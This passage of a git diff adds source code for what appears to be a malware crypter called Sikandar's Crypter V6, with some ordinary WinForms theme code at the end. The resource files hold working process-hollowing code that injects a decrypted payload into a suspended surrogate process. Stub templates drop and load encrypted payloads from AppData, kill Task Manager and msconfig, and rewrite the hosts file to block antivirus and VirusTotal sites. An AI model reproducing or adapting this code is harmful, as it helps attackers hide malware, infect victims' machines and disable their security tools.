uint flNewProtect, ref uint lpflOldProtect); + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten); + public static bool R(byte[] bytes, string surrogateProcess) + { + try + { + IntPtr procAttr = IntPtr.Zero; + IntPtr[] processInfo = new IntPtr[4]; + byte[] startupInfo = new byte[0x44]; + int num2 = BitConverter.ToInt32(bytes, 60); + int num = BitConverter.ToInt16(bytes, num2 + 6); + IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54)); + if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo)) + { + uint[] ctxt = new uint[0xb3]; + ctxt[0] = 0x10002; + if (GetThreadContext(processInfo[1], ctxt)) + { + IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L); + IntPtr buffer = IntPtr.Zero; + IntPtr bufferSize = new IntPtr(4); + IntPtr numRead = IntPtr.Zero; + if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) && + (NtUnmapViewOfSection(processInfo[0], buffer) == 0)) + { + IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34)); + IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80)); + IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40); + int lpNumberOfBytesWritten; + WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten); + int num5 = num - 1; + for (int i = 0; i <= num5; i++) + { + int[] dst = new int[10]; + Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40); + byte[] buffer2 = new byte[(dst[4] - 1) + 1]; + Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length); + size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]); + addr = new IntPtr(buffer2.Length); + WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten); + } + size = new IntPtr(ctxt[0x29] + 8L); + addr = new IntPtr(4); + WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten); + ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40)); + SetThreadContext(processInfo[1], ctxt); + } + } + ResumeThread(processInfo[1]); + } + } + catch + { + return false; + } + return true; + } +} \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/RpE.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RpE.txt new file mode 100644 index 0000000..faa4f66 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RpE.txt @@ -0,0 +1,82 @@ +using System.Runtime.InteropServices; +using System; +using System.Text; +public class IX +{ + [return: MarshalAs(UnmanagedType.Bool)] + [DllImport("kernel32")] + private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo); + [return: MarshalAs(UnmanagedType.Bool)] + [DllImport("kernel32")] + private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); + [DllImport("kernel32")] + private static extern bool SetThreadContext(IntPtr t, uint[] c); + [DllImport("ntdll")] + private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); + [return: MarshalAs(UnmanagedType.Bool)] + [DllImport("kernel32")] + private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead); + [DllImport("kernel32.dll")] + private static extern uint ResumeThread(IntPtr hThread); + [DllImport("kernel32")] + private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot); + [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect); + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten); + public static bool R(byte[] bytes, string surrogateProcess) + { + try + { + IntPtr procAttr = IntPtr.Zero; + IntPtr[] processInfo = new IntPtr[4]; + byte[] startupInfo = new byte[0x44]; + int num2 = BitConverter.ToInt32(bytes, 60); + int num = BitConverter.ToInt16(bytes, num2 + 6); + IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54)); + if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo)) + { + uint[] ctxt = new uint[0xb3]; + ctxt[0] = 0x10002; + if (GetThreadContext(processInfo[1], ctxt)) + { + IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L); + IntPtr buffer = IntPtr.Zero; + IntPtr bufferSize = new IntPtr(4); + IntPtr numRead = IntPtr.Zero; + if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) && + (NtUnmapViewOfSection(processInfo[0], buffer) == 0)) + { + IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34)); + IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80)); + IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40); + int lpNumberOfBytesWritten; + WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten); + int num5 = num - 1; + for (int i = 0; i <= num5; i++) + { + int[] dst = new int[10]; + Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40); + byte[] buffer2 = new byte[(dst[4] - 1) + 1]; + Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length); + size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]); + addr = new IntPtr(buffer2.Length); + WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten); + } + size = new IntPtr(ctxt[0x29] + 8L); + addr = new IntPtr(4); + WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten); + ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40)); + SetThreadContext(processInfo[1], ctxt); + } + } + ResumeThread(processInfo[1]); + } + } + catch + { + return false; + } + return true; + } +} \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/StairsLoader.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/StairsLoader.txt new file mode 100644 index 0000000..edea986 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/StairsLoader.txt @@ -0,0 +1,11 @@ +Dim N As String = System.Text.Encoding.Default.GetString(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _ +R.GetObject("K"))) +Dim I As String = Environ("APPDATA") & "\" & N & ".exe" +If IO.File.Exists(I) Then + IO.File.Delete(I) +End If +Try + My.Computer.FileSystem.WriteAllBytes(I, SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False) +Catch +End Try +LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I}) \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/StairsRev.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/StairsRev.txt new file mode 100644 index 0000000..dde7928 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/StairsRev.txt @@ -0,0 +1,8 @@ +Public Shared Function SDeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte() + For i = Data.Length - Convert.ToInt32(&H1, 2) To Convert.ToInt32(0, 2) Step -1 + Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + _ + Convert.ToInt32(&H1, 2)) Mod Data.Length)) + Convert.ToInt32(100000000, 2)) _ + Mod Convert.ToInt32(100000000, 2)) + Next + Return Data + End Function \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Stub.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Stub.txt new file mode 100644 index 0000000..78a20f2 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Stub.txt @@ -0,0 +1,96 @@ +Option Explicit Off +Option Strict Off +Imports System.Reflection +Imports System.Runtime.InteropServices +Imports System +Imports Microsoft.VisualBasic +Imports System.Text +Imports System.Security.Cryptography +Imports Microsoft.Win32 +Imports System.Windows.Forms +Imports System.IO +Imports System.CodeDom.Compiler +'AssemblyCodes +Public Class Out + 'FakeAPI#1 + 'FakeAPI#2 + 'FakeAPI#3 + 'FakeAPI#4 + 'FakeAPI#5 + 'FakeAPI#6 + 'FakeAPI#7 + 'FakeAPI#8 + 'FakeAPI#9 + 'FakeAPI#A + 'FakeAPI#B + Shared Sub Main() + Dim R As New Resources.ResourceManager("A", Assembly.GetExecutingAssembly) + 'MessageB + System.Threading.Thread.Sleep(DelayExe * 1000) + 'CallAntis + 'LoadMethod + 'KKK + 'AStartUpCall + 'CallWS + 'TaskManagerK + 'RegeditK + 'msconfigK + 'notepadK + 'dxdiagK + 'FolderOpts + 'meltcall + 'restart + 'Downloader + 'delHALDLL + 'Binder + End Sub + 'InjectionEncryptionAlgorithm + Private Shared Function LoadMethod(ByVal [Class] As String, ByVal Void As String, ByVal file As Assembly, ByVal Parameters As Object()) As Boolean + Try + Dim u As Assembly = file + Dim t As Type = u.[GetType]([Class]) + If t IsNot Nothing Then + Dim m As MethodInfo = t.GetMethod(Void) + If m IsNot Nothing Then + Return CBool(m.Invoke(Nothing, Parameters)) + End If + End If + Catch ex As Exception + End Try + End Function + 'Anti's Sub + 'FunctionA + 'Killer Sub + 'StubStrEncryption + 'KillerFunction + 'Websites + 'TaskmanagerSub + 'RegeditSub + 'msconfigSub + 'notepadSub + 'dxdiagSub + 'meltSub + 'junkFunction + 'InvokeSub + + Public Shared Function ReverseString(ByVal s As String) As String + Dim arr As Char() = s.ToCharArray() + Array.Reverse(arr) + Return New String(arr) + End Function + Public Shared Function CC(ByVal Source As String) As Assembly + Dim Parameters As New CompilerParameters() + Dim cResults As CompilerResults = Nothing + Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("CSharp") + Parameters.GenerateExecutable = False + Parameters.GenerateInMemory = True + Parameters.ReferencedAssemblies.Add("System.dll") + Parameters.ReferencedAssemblies.Add("System.Management.dll") + Parameters.CompilerOptions = "/platform:x86" + Parameters.TreatWarningsAsErrors = False + cResults = Compiler.CompileAssemblyFromSource(Parameters, Source) + Return cResults.CompiledAssembly + End Function + 'Add2StartUp +End Class +'heavyJunk \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/TDESLoader.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/TDESLoader.txt new file mode 100644 index 0000000..4cea2c8 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/TDESLoader.txt @@ -0,0 +1,14 @@ + Dim N As String = TripleDESdecrypt(R.GetObject("NM"),R.GetObject("K"), True) + Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + If IO.File.Exists(I) Then + IO.File.Delete(I) + End If + Dim II As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("I"), _ + R.GetObject("K"), True)) + Try + My.Computer.FileSystem.WriteAllBytes(I, II, False) + Catch + End Try + Dim III As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("F"), _ + R.GetObject("K"), True)) + LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I}) \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/TDESRev.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/TDESRev.txt new file mode 100644 index 0000000..3ac028c --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/TDESRev.txt @@ -0,0 +1,17 @@ +Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String + Dim keyArray As Byte() + Dim toEncryptArray As Byte() = Convert.FromBase64String(b) + If d Then + Dim hashmd5 = New MD5CryptoServiceProvider() + keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c)) + Else + keyArray = UTF8Encoding.UTF8.GetBytes(c) + End If + Dim tdes = New TripleDESCryptoServiceProvider() + tdes.Key = keyArray + tdes.Mode = CipherMode.ECB + tdes.Padding = PaddingMode.PKCS7 + Dim cTransform As ICryptoTransform = tdes.CreateDecryptor() + Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length) + Return UTF8Encoding.UTF8.GetString(resultArray) + End Function \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/TaskMSub.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/TaskMSub.txt new file mode 100644 index 0000000..2bfc2fe --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/TaskMSub.txt @@ -0,0 +1,3 @@ +Shared Sub F59() + Killer("taskmgr") +End Sub \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Websites.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Websites.txt new file mode 100644 index 0000000..82398cd --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Websites.txt @@ -0,0 +1,79 @@ +Shared Sub W + + WebBlock("www.novirusthanks.org") + + WebBlock("www.virustotal.com") + + WebBlock("www.virusscan.jotti.org") + + WebBlock("www.malwarebytes.org") + + WebBlock("www.bitdefender.com/scanner/online/free.html") + + WebBlock("www.eset.com/online-scanner") + + WebBlock("housecall.trendmicro.com") + + WebBlock("www.kaspersky.com/scanforvirus") + + WebBlock("www.kaspersky.com/virusscanner") + + WebBlock("www.f-secure.com/en_EMEA/security/tools/online-scanner/") + + WebBlock("www.windowsecurity.com/trojanscan") + + WebBlock("www.avg.com") + + WebBlock("www.avast.com") + + WebBlock("www.avira.com") + + WebBlock("www.zonealarm.com") + + WebBlock("www.Symantec.com") + + WebBlock("security.symantec.com") + + WebBlock("www.pandasecurity.com") + + Dim FS As String = System.Windows.Forms.Application.StartupPath & "\DNS.bat" + + Dim SW As New IO.StreamWriter(FS) + + SW.Write("ipconfig/flushdns") + + SW.Write("ipconfig/release") + + SW.Write("ipconfig/renew") + + SW.Flush() + + SW.Close() + + Dim P As New System.Diagnostics.Process + + P.StartInfo.FileName = FS + + P.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden + + P.Start() + + P.WaitForExit() + + IO.File.Delete(FS) + +End Sub + +Shared Sub WebBlock(ByVal Address As String) + + Dim SW As New IO.StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\drivers\etc\hosts", True) + + SW.WriteLine(Environment.NewLine) + + SW.WriteLine("127.0.0.1 " & Address) + + SW.Flush() + + SW.Close() + +End Sub \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/XORLoader.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/XORLoader.txt new file mode 100644 index 0000000..181d93a --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/XORLoader.txt @@ -0,0 +1,14 @@ + Dim N As String = xEncryptionD(R.GetObject("K"), R.GetObject("NM")) + Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + If IO.File.Exists(I) Then + IO.File.Delete(I) + End If + Dim II As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _ + R.GetObject("I"))) + Try + My.Computer.FileSystem.WriteAllBytes(I, II, False) + Catch + End Try + Dim III As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _ + R.GetObject("F"))) + LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I}) \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/XORRev.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/XORRev.txt new file mode 100644 index 0000000..59dab99 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/XORRev.txt @@ -0,0 +1,25 @@ +Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String + + Dim lonDataPtr As Long + + Dim strDataOut As String = "" + + Dim intXOrValue1 As Integer + + Dim intXOrValue2 As Integer + + Dim H As String = "&H" + + For lonDataPtr = 1 To (Len(DataIn) / 2) + + intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2))) + + intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1)) + + strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2) + + Next lonDataPtr + + xEncryptionD = strDataOut + + End Function \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/msconfig.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/msconfig.txt new file mode 100644 index 0000000..e94c141 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/msconfig.txt @@ -0,0 +1,3 @@ + Shared Sub F61() + Killer("msconfig") + End Sub \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.sln b/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.sln new file mode 100644 index 0000000..5bd555d --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Basic Express 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "SCV6.0", "SCV6.0.vbproj", "{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.suo b/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.suo new file mode 100644 index 0000000..c1646ea Binary files /dev/null and b/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.suo differ diff --git a/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.vbproj b/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.vbproj new file mode 100644 index 0000000..db1115c --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.vbproj @@ -0,0 +1,314 @@ + + + + Debug + AnyCPU + 9.0.30729 + 2.0 + {6FFB7D87-0375-45A3-A183-6AE5FDBA1655} + WinExe + SCV6._0.My.MyApplication + SCV6._0 + SCV6.0 + 512 + WindowsForms + v4.0 + On + Binary + Off + On + Gnome-Dialog-Password.ico + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + + + 3.5 + + + true + full + true + true + ..\..\ + SCV6.0.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + true + + + pdbonly + false + true + true + bin\Release\ + SCV6.0.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + + + + + + + 3.5 + + + 3.5 + + + 3.5 + + + + + + + + + + + + + + + + + Component + + + + Form + + + Form1.vb + Form + + + Form2.vb + + + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + Form1.vb + + + Form2.vb + + + VbMyResourcesResXFileCodeGenerator + My.Resources + Designer + Resources.Designer.vb + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + .NET Framework Client Profile + false + + + False + .NET Framework 2.0 %28x86%29 + false + + + False + .NET Framework 3.0 %28x86%29 + false + + + False + .NET Framework 3.5 + false + + + False + .NET Framework 3.5 SP1 + true + + + False + Windows Installer 3.1 + true + + + + + \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.vbproj.user b/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.vbproj.user new file mode 100644 index 0000000..d5a8897 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/SCV6.0.vbproj.user @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + en-US + false + + \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/components.vb b/scode (Sikandars.Crypter.V6.VB.NET/components.vb new file mode 100644 index 0000000..a416120 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/components.vb @@ -0,0 +1,1314 @@ + + +Imports System.Drawing.Drawing2D +Imports System.ComponentModel +Imports System.Runtime.InteropServices + +Imports System.Net +Imports System.Text.RegularExpressions +Imports System.IO + +MustInherit Class Theme + Inherits ContainerControl + +#Region " Initialization " + + Protected G As Graphics + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + End Sub + + Private ParentIsForm As Boolean + Protected Overrides Sub OnHandleCreated(ByVal e As EventArgs) + Dock = DockStyle.Fill + ParentIsForm = TypeOf Parent Is Form + If ParentIsForm Then + If Not _TransparencyKey = Color.Empty Then ParentForm.TransparencyKey = _TransparencyKey + ParentForm.FormBorderStyle = FormBorderStyle.None + End If + MyBase.OnHandleCreated(e) + End Sub + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal v As String) + MyBase.Text = v + Invalidate() + End Set + End Property +#End Region + +#Region " Sizing and Movement " + + Private _Resizable As Boolean = True + Property Resizable() As Boolean + Get + Return _Resizable + End Get + Set(ByVal value As Boolean) + _Resizable = value + End Set + End Property + + Private _MoveHeight As Integer = 24 + Property MoveHeight() As Integer + Get + Return _MoveHeight + End Get + Set(ByVal v As Integer) + _MoveHeight = v + Header = New Rectangle(7, 7, Width - 14, _MoveHeight - 7) + End Set + End Property + + Private Flag As IntPtr + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If Not e.Button = MouseButtons.Left Then Return + If ParentIsForm Then If ParentForm.WindowState = FormWindowState.Maximized Then Return + + If Header.Contains(e.Location) Then + Flag = New IntPtr(2) + ElseIf Current.Position = 0 Or Not _Resizable Then + Return + Else + Flag = New IntPtr(Current.Position) + End If + + Capture = False + DefWndProc(Message.Create(Parent.Handle, 161, Flag, Nothing)) + + MyBase.OnMouseDown(e) + End Sub + + Private Structure Pointer + ReadOnly Cursor As Cursor, Position As Byte + Sub New(ByVal c As Cursor, ByVal p As Byte) + Cursor = c + Position = p + End Sub + End Structure + + Private F1, F2, F3, F4 As Boolean, PTC As Point + Private Function GetPointer() As Pointer + PTC = PointToClient(MousePosition) + F1 = PTC.X < 7 + F2 = PTC.X > Width - 7 + F3 = PTC.Y < 7 + F4 = PTC.Y > Height - 7 + + If F1 And F3 Then Return New Pointer(Cursors.SizeNWSE, 13) + If F1 And F4 Then Return New Pointer(Cursors.SizeNESW, 16) + If F2 And F3 Then Return New Pointer(Cursors.SizeNESW, 14) + If F2 And F4 Then Return New Pointer(Cursors.SizeNWSE, 17) + If F1 Then Return New Pointer(Cursors.SizeWE, 10) + If F2 Then Return New Pointer(Cursors.SizeWE, 11) + If F3 Then Return New Pointer(Cursors.SizeNS, 12) + If F4 Then Return New Pointer(Cursors.SizeNS, 15) + Return New Pointer(Cursors.Default, 0) + End Function + + Private Current, Pending As Pointer + Private Sub SetCurrent() + Pending = GetPointer() + If Current.Position = Pending.Position Then Return + Current = GetPointer() + Cursor = Current.Cursor + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If _Resizable Then SetCurrent() + MyBase.OnMouseMove(e) + End Sub + + Protected Header As Rectangle + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If Width = 0 OrElse Height = 0 Then Return + Header = New Rectangle(7, 7, Width - 14, _MoveHeight - 7) + Invalidate() + MyBase.OnSizeChanged(e) + End Sub + +#End Region + +#Region " Convienence " + + MustOverride Sub PaintHook() + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + G = e.Graphics + PaintHook() + End Sub + + Private _TransparencyKey As Color + Property TransparencyKey() As Color + Get + Return _TransparencyKey + End Get + Set(ByVal v As Color) + _TransparencyKey = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + _Image = value + Invalidate() + End Set + End Property + ReadOnly Property ImageWidth() As Integer + Get + If _Image Is Nothing Then Return 0 + Return _Image.Width + End Get + End Property + + Private _Size As Size + Private _Rectangle As Rectangle + Private _Gradient As LinearGradientBrush + Private _Brush As SolidBrush + + Protected Sub DrawCorners(ByVal c As Color, ByVal rect As Rectangle) + _Brush = New SolidBrush(c) + G.FillRectangle(_Brush, rect.X, rect.Y, 1, 1) + G.FillRectangle(_Brush, rect.X + (rect.Width - 1), rect.Y, 1, 1) + G.FillRectangle(_Brush, rect.X, rect.Y + (rect.Height - 1), 1, 1) + G.FillRectangle(_Brush, rect.X + (rect.Width - 1), rect.Y + (rect.Height - 1), 1, 1) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal p2 As Pen, ByVal rect As Rectangle) + G.DrawRectangle(p1, rect.X, rect.Y, rect.Width - 1, rect.Height - 1) + G.DrawRectangle(p2, rect.X + 1, rect.Y + 1, rect.Width - 3, rect.Height - 3) + End Sub + + Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer) + DrawText(a, c, x, 0) + End Sub + Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer, ByVal y As Integer) + If String.IsNullOrEmpty(Text) Then Return + _Size = G.MeasureString(Text, Font).ToSize + _Brush = New SolidBrush(c) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(Text, Font, _Brush, x, _MoveHeight \ 2 - _Size.Height \ 2 + y) + Case HorizontalAlignment.Right + G.DrawString(Text, Font, _Brush, Width - _Size.Width - x, _MoveHeight \ 2 - _Size.Height \ 2 + y) + Case HorizontalAlignment.Center + G.DrawString(Text, Font, _Brush, Width \ 2 - _Size.Width \ 2 + x, _MoveHeight \ 2 - _Size.Height \ 2 + y) + End Select + End Sub + + Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer) + DrawIcon(a, x, 0) + End Sub + Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If _Image Is Nothing Then Return + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(_Image, x, _MoveHeight \ 2 - _Image.Height \ 2 + y) + Case HorizontalAlignment.Right + G.DrawImage(_Image, Width - _Image.Width - x, _MoveHeight \ 2 - _Image.Height \ 2 + y) + Case HorizontalAlignment.Center + G.DrawImage(_Image, Width \ 2 - _Image.Width \ 2, _MoveHeight \ 2 - _Image.Height \ 2) + End Select + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + _Rectangle = New Rectangle(x, y, width, height) + _Gradient = New LinearGradientBrush(_Rectangle, c1, c2, angle) + G.FillRectangle(_Gradient, _Rectangle) + End Sub + +#End Region + +End Class +MustInherit Class ThemeControl + Inherits Control + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + B = New Bitmap(1, 1) + G = Graphics.FromImage(B) + End Sub + + Sub AllowTransparent() + SetStyle(ControlStyles.Opaque, False) + SetStyle(ControlStyles.SupportsTransparentBackColor, True) + End Sub + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal v As String) + MyBase.Text = v + Invalidate() + End Set + End Property +#End Region + +#Region " Mouse Handling " + + Protected Enum State As Byte + MouseNone = 0 + MouseOver = 1 + MouseDown = 2 + End Enum + + Protected MouseState As State + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + ChangeMouseState(State.MouseNone) + MyBase.OnMouseLeave(e) + End Sub + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + ChangeMouseState(State.MouseOver) + MyBase.OnMouseEnter(e) + End Sub + Protected Overrides Sub 